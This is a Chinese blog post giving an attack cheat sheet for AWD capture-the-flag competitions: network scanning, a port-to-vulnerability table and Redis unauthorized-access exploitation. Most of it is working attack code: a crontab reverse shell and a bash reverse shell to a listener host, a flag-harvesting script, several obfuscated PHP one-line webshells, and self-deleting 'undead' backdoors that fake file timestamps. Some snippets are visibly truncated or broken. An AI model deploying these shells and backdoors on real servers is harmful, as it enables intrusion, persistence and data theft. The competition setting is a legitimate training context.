AWD(攻击)
AWD(攻击)
1.信息探测#
namp -sn 192.168.0.0/24 //C段存活扫描
nmap -sS 10.16.10.0/24 //存活探测
nmap 10.16.10.19 -p 1-65535 //端口探测
服务探测 获取靶机开发语言,系统名称和版本
import requests//脚本
for x in range(2,255):
url = "http://192.168.1.{}".format(x)
try:
r = requests.post(url)
print(url)
except:
pass
组件检索
find / -name "apaech2.conf" #检索apache主配置文件
find / -name "nginx.conf" #检索nginx目录
find / -path "*nginx*" -name nginx*conf #检索nginx配置目录
find / -name "httpd.conf" #检索apache目录
find / -path "*apache*" -name apache*conf #检索apache配置目录
网站首页
find / -name "index.php" #定位网站目
主机嗅探
C段存活扫描
nmap
namp -sn 192.168.0.0/24
httpscan
httpscan.py 192.168.0.0/24 –t 10
端口扫描
nmap -sV 192.168.0.2 #扫描主机系统版本
nmap -sS 192.168.0.2 #扫描主机常用端口
nmap -sS -p 80,445 192.168.0.2 #扫描主机部分端口
nmap -sS -p- 192.168.0.2 #扫描主机全部端口
nmap官方文档:
https://nmap.org/man/zh/man-host-discovery.html
httpscan工具:
https://github.com/zer0h/httpscan
python脚本
import requests
for x in range(2,255):
url = "http://192.168.1.{}".format(x)
try:
r = requests.post(url)
print(url)
except:
pass
关键文件检索
组件检索
find / -name "apaech2.conf" #检索apache主配置文件
find / -name "nginx.conf" #检索nginx目录
find / -path "*nginx*" -name nginx*conf #检索nginx配置目录
find / -name "httpd.conf" #检索apache目录
find / -path "*apache*" -name apache*conf #检索apache配置目录
网站首页
find / -name "index.php" #定位网站目录
日志文件检索
/var/log/nginx/ #默认Nginx日志目录
/var/log/apache/ #默认Apache日志目录
/var/log/apache2/ #默认Apache日志目录
/usr/local/tomcat/logs #Tomcat日志目录
tail -f xxx.log #实时刷新滚动日志文件
2.攻击分析#
端口号 | 端口说明 | 相关漏洞 |
---|---|---|
21 | FTP文件传输协议 | 允许匿名的上传、下载、爆破和嗅探操作 |
22 | SSH远程连接 | 爆破、SSH隧道及内网代理转发、文件传输 |
23 | Telnet远程连接 | 爆破、嗅探、弱口令 |
25 | SMTP邮件服务 | 邮件伪造 |
53 | DNS域名服务器 | 允许区域传送、DNS劫持、缓存投毒、欺骗、CVE-2020-1350 |
67、68 | DHCP服务 | 劫持、欺骗 |
69 | 小型文件传输协议 | 允许匿名的上传、下载、爆破和嗅探操作 |
80 | 常见web服务端口 | web攻击、爆破、对应服务器版本漏洞 |
110 | POP3协议 | 嗅探、爆破 |
139 | SAMBA服务 | 爆破、未授权访问、远程代码执行 |
143 | IMAP协议 | 爆破 |
161 | SNMP协议 | 爆破、搜集目标内网信息 |
389 | LDAP目录访问协议 | 注入、允许匿名访问、弱口令 |
443 | 常见web端口 | web攻击、爆破、对应服务器版本漏洞 |
445 | Microsoft-DS,为共享开放 | 代码执行、ms06-040、0796等 |
512/513/514 | Linux rexec服务 | 爆破、远程登录 |
873 | rsync服务 | 匿名访问、文件上传 |
1352 | Lotus Domino邮件服务 | 弱口令、信息泄露、爆破 |
1433 | MSSQL数据库 | 注入、提权、SA弱口令、爆破 |
1521 | Oracle数据库 | TNS爆破、注入、反弹shell |
2049 | NFS服务 | 配置不当 |
2181 | ZooKeeper服务 | 未授权访问 |
3306 | Mysql数据库 | 注入、提权、爆破 |
3389 | RDP远程端口连接 | shift后门、爆破、ms12-020、CVE-2019-0708 |
3690 | SVN服务 | SVN泄露、未授权访问 |
4848 | GlassFish控制台 | 弱口令 |
5000 | Sysbase/DB2数据库 | 爆破、注入 |
5432 | PostgreSQL数据库 | 爆破、注入、弱口令 |
5632 | PcAnywhere服务 | 抓取密码、代码执行 |
5900 | VNC | 弱口令爆破 |
5984 | CouchDB | 未授权访问 |
6379 | Redis数据库 | 可尝试为授权访问、弱口令爆破 |
7001/7002 | WebLogic控制台 | 反序列化、控制台弱口令 |
8009 | Tomcat AJP协议 | Tomcat AJP协议漏洞 |
8069 | Zabbix服务 | 远程执行、SQL注入 |
8080、8089 | JBoss/Resin/Jetty/Jenkins/tomcat | 反序列化、控制台弱口令 |
8888 | jupyter notebook | 未授权访问 |
9090 | WebSphere控制台 | Java反序列化、弱口令 |
9200、9300 | Elasticsearch服务 | 远程执行 |
10000 | webmin控制面板 | 弱口令 |
11211 | Memcached服务 | 未授权访问 |
27017/27018 | MongoDB数据库 | 爆破、未授权访问 |
50000 | SAP Management Console | 远程执行 |
50050 | CS | 弱口令 |
未授权访问端口利用#
(1)Redis
因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行 flushall 来清空所有数据。如果 Redis 以 root 身份运行,可以给 root 账户写入 SSH 公钥文件,直接通过 SSH 登录受害服务器
1、利用计划任务执行命令反弹shell
在 redis 以 root 权限运行时可以写 crontab 来执行命令反弹shell
先在自己的服务器上监听一个端口
nc -lvnp 4444
然后执行命令:
redis-cli -h 192.168.2.6
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
2、写 ssh-keygen 公钥登录服务器
在以下条件下,可以利用此方法
- Redis服务使用 root 账号启动
- 服务器开放了 SSH 服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
3、获取 web 服务的 webshell
当 redis 权限不高时,并且服务器开着 web 服务,在 redis 有 web 目录写权限时,可以尝试往 web 路径写 webshell。
执行以下命令
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['caidao']);?>"
save
即可将 shell 写入 web 目录
- 漏洞加固
可以配置 redis.conf 这个文件,在安装目录下
1、默认只对本地开放
bind 127.0.0.1
2、添加登陆密码
requirepass www.secpulse.com
3、在需要对外开放的时候修改默认端口
port 2333
权限维持#
隐藏shell.php#
mv shell.php .shell.php //使用ls 无法看见。必须使用 ls -al
命名为“-shell.php” 使用正常rm命令无法删除
反弹shell#
bash -i >& /dev/tcp/192.168.182.130/6666 0>&1
上传后门#
#coding=utf-8
import requests
url_head="http://192.168.182.130" #网段
url=""
shell_addr="/upload/url/shell.php" #木马路径
passwd="pass" #木马密码
#port="80"
payload = {passwd: 'System(\'cat /flag\');'}
# find / -name "flag*"
#清空上次记录
flag=open("flag.txt","w")
flag.close()
flag=open("flag.txt","a")
for i in range(8000,8004):
url=url_head+":"+str(i)+shell_addr
try:
res=requests.post(url,payload)#,timeout=1
if res.status_code == requests.codes.ok:
result = res.text
print (result)
flag.write(result+"\n")
else:
print ("shell 404")
except:
print (url+" connect shell fail")
flag.close()
常见一句话木马#
php: <?php @eval($_POST['pass']);?> <?php ?>
连接方式:php?2=assert密码是1。
shell2:
<?php
$a=chr( 96^5);
$b=chr( 57^79);
$c=chr( 15^110);
$d=chr( 58^86);
$e= '($_REQUEST[C])';
@assert($a.$b.$c.$d.$e);
?>
配置为?b=))99(rhC(tseuqeR+lave
shell3:
<?php
?>
配置填n985de9=QGV2YWwoJF9QT1NUWzBdKTs=
连接密码:0(零)
shell4:MD5木马
比赛时有的队伍批量种马,但被攻击的服务却可以通过分析本地的木马,然后去连接其他服务器内的相同木马获取flag。
md5验证木马由此产生。防止其他队伍进行分析。
<?php
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')//rcoil
@eval($_POST['cmd']);
?>
shell5:MD5木马+利用header
<?php
echo 'hello';
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')//rcoil
if (@$_SERVER['HTTP_USER_AGENT'] == 'flag'){
//@符号" 是用于抑制错误报告,如果该行代码产生了错误,错误信息不会显示出来。
$test= 'flag';
header("flag:$test");
}
?>
shell 6:IP验证木马
<?php
?>
@$_='s'.'s'./*-/*-*/'e'./*-/*-*/'r';
@$_=/*-/*-*/'a'./*-/*-*/$_./*-/*-*/'t';
@$_/*-/*-*/($/*-/*-*/{'_P'./*-/*-*/'OS'./*-/*-*/'T'}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);
shell8:混淆马2
<?php //$_POST[0]($_POST[1]);
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); //
?>
不死马#
简单不死马
<?php
?>'); //创建shell.php
sleep(0); //间隔时间
}
对付这种木马,目前最有效的办法就是重启PHP服务器。
但在awd模式下,一般无权限,
可以通过不断复写shell.php来达到该木马难以被使用的效果
<?php
set_time_limit(0); // 取消脚本运行时间的超时上限
ignore_user_abort(1); // 后台运行
while(1)
{
file_put_contents('shell.php','11111111'); //创建shell.php
sleep(0);
}
进阶不死马
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php if(md5($_POST["passwd"])=="6daf17e539bf44591fad8c81b4a293d7"){@eval($_REQUEST['cmd']);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" shell2.php');//修改时间,防止被删
usleep(5000);
}
?>
#passwd=y0range857
#POST传参:passwd=y0range857&a=system('ls');
将这个文件上传到服务器,然后进行访问,会在该路径下一直生成一个名字为shell2.php的shell文件
写入shell, yj.php内容
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.login.php';
$file1 = '/admin/.register.php';
$code = '<?php if(md5($_GET["passwd"])=="6daf17e539bf44591fad8c81b4a293d7"){@eval($_REQUEST["at"]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .login.php');
file_put_contents($file1,$code);
system('touch -m -d "2018-12-01 09:10:12" /admin/.register.php');
usleep(5000);
}
?>
浏览器访问yj.php,会生成不死马.login.php /admin/.register.php
<?php
ignore_user_abort(true); #客户机断开依旧执行
set_time_limit(0); #函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制。
unlink(__FILE__); 删除文件本身,以起到隐蔽自身的作用。
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .2.php');
usleep(5000);
}
?>
2、隐藏的文件读取
<?php
header(php'flag:'.file_get_contents('/tmp/flag'));
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)